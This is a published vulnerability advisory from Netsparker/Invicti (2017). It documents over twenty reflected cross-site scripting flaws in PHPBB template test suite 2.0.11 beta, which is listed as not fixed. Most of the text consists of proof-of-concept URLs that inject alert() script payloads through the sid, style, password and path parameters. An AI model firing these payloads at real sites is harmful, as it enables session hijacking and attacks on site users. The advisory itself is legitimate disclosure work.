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Multiple Reflected XSS Vulnerabilities in PHPBB template test suite 2.0.11 (beta)

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in PHPBB template test suite 2.0.11 (beta)
Affected Software: PHPBB template test suite 2.0.11 (beta)
Affected Versions: 2.0.11 (beta)
Vendor Homepage: https://sourceforge.net/projects/tpltest/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-014

Technical Details

Proof of Concept URL for XSSes vulnerabilities in PHPBB template test suite 2.0.11 (beta);

URL: /tpltest2011b/faq.php?sid='"--></style></scRipt><scRipt>alert(0x0004A2)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0004A2)</scRipt>

URL: /tpltest2011b/faq.php?mode=bbcode&sid='"--></style></scRipt><scRipt>alert(0x001226)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001226)</scRipt>

URL: /tpltest2011b/groupcp.php?sid='"--></style></scRipt><scRipt>alert(0x000B0E)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000B0E)</scRipt>

URL: /tpltest2011b/groupcp.php?g=2&sid='"--></style></scRipt><scRipt>alert(0x00132C)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00132C)</scRipt>

URL: /tpltest2011b/index.php?c=1&sid='"--></style></scRipt><scRipt>alert(0x0004CA)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0004CA)</scRipt>

URL: /tpltest2011b/index.php?mark=forums&sid='"--></style></scRipt><scRipt>alert(0x001BB4)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001BB4)</scRipt>

URL: /tpltest2011b/memberlist.php?sid='"--></style></scRipt><scRipt>alert(0x000854)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000854)</scRipt>

URL: /tpltest2011b/memberlist.php?sid='"--></style></scRipt><scRipt>alert(0x002EA6)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002EA6)</scRipt>

URL: /tpltest2011b/privmsg.php?folder=inbox&mode=read&p=1&sid='"--></style></scRipt><scRipt>alert(0x00170A)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00170A)</scRipt>

URL: /tpltest2011b/privmsg.php?folder=inbox&sid='"--></style></scRipt><scRipt>alert(0x000EC0)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000EC0)</scRipt>

URL: /tpltest2011b/privmsg.php?mode=post&u=2&sid='"--></style></scRipt><scRipt>alert(0x002D82)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002D82)</scRipt>

URL: /tpltest2011b/profile.php?mode=viewprofile&u=2&sid='"--></style></scRipt><scRipt>alert(0x0014BC)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0014BC)</scRipt>

URL: /tpltest2011b/profile.php?mode=register&sid='"--></style></scRipt><scRipt>alert(0x000CFC)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000CFC)</scRipt>

URL: /tpltest2011b/profile.php?sid='"--></style></scRipt><scRipt>alert(0x003984)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003984)</scRipt>

URL: /tpltest2011b/profile.php?sid=3
Parameter Name: cur_password
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A43)</scRipt>

URL: /tpltest2011b/profile.php?mode=register&agreed=true&coppa=true&sid='"--></style></scRipt><scRipt>alert(0x003342)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003342)</scRipt>

URL: /tpltest2011b/search.php?search_id=unanswered&sid='"--></style></scRipt><scRipt>alert(0x00081A)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00081A)</scRipt>

URL: /tpltest2011b/search.php?mode=results&sid='"--></style></scRipt><scRipt>alert(0x00271E)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00271E)</scRipt>

URL: /tpltest2011b/viewforum.php?f=1&mark=topics&sid='"--></style></scRipt><scRipt>alert(0x001978)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001978)</scRipt>

URL: /tpltest2011b/viewonline.php?sid='"--></style></scRipt><scRipt>alert(0x001C72)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001C72)</scRipt>

URL: /tpltest2011b/viewtopic.php?p=1&style=subSilver&sid=x'" onmouseover=alert(9)
Parameter Name: sid
Parameter Type: GET
Attack Pattern: x%27%22+onmouseover%3dalert(9)+

URL: /tpltest2011b/viewtopic.php?p=1&style='"--></style></scRipt><scRipt>alert(0x001B4A)</scRipt>&sid=1
Parameter Name: style
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B4A)</scRipt>

URL: /tpltest2011b/viewtopic.php/'"--></style></scRipt><scRipt>alert(0x0027A6)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0027A6)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

07 March 2017 – Advisory released

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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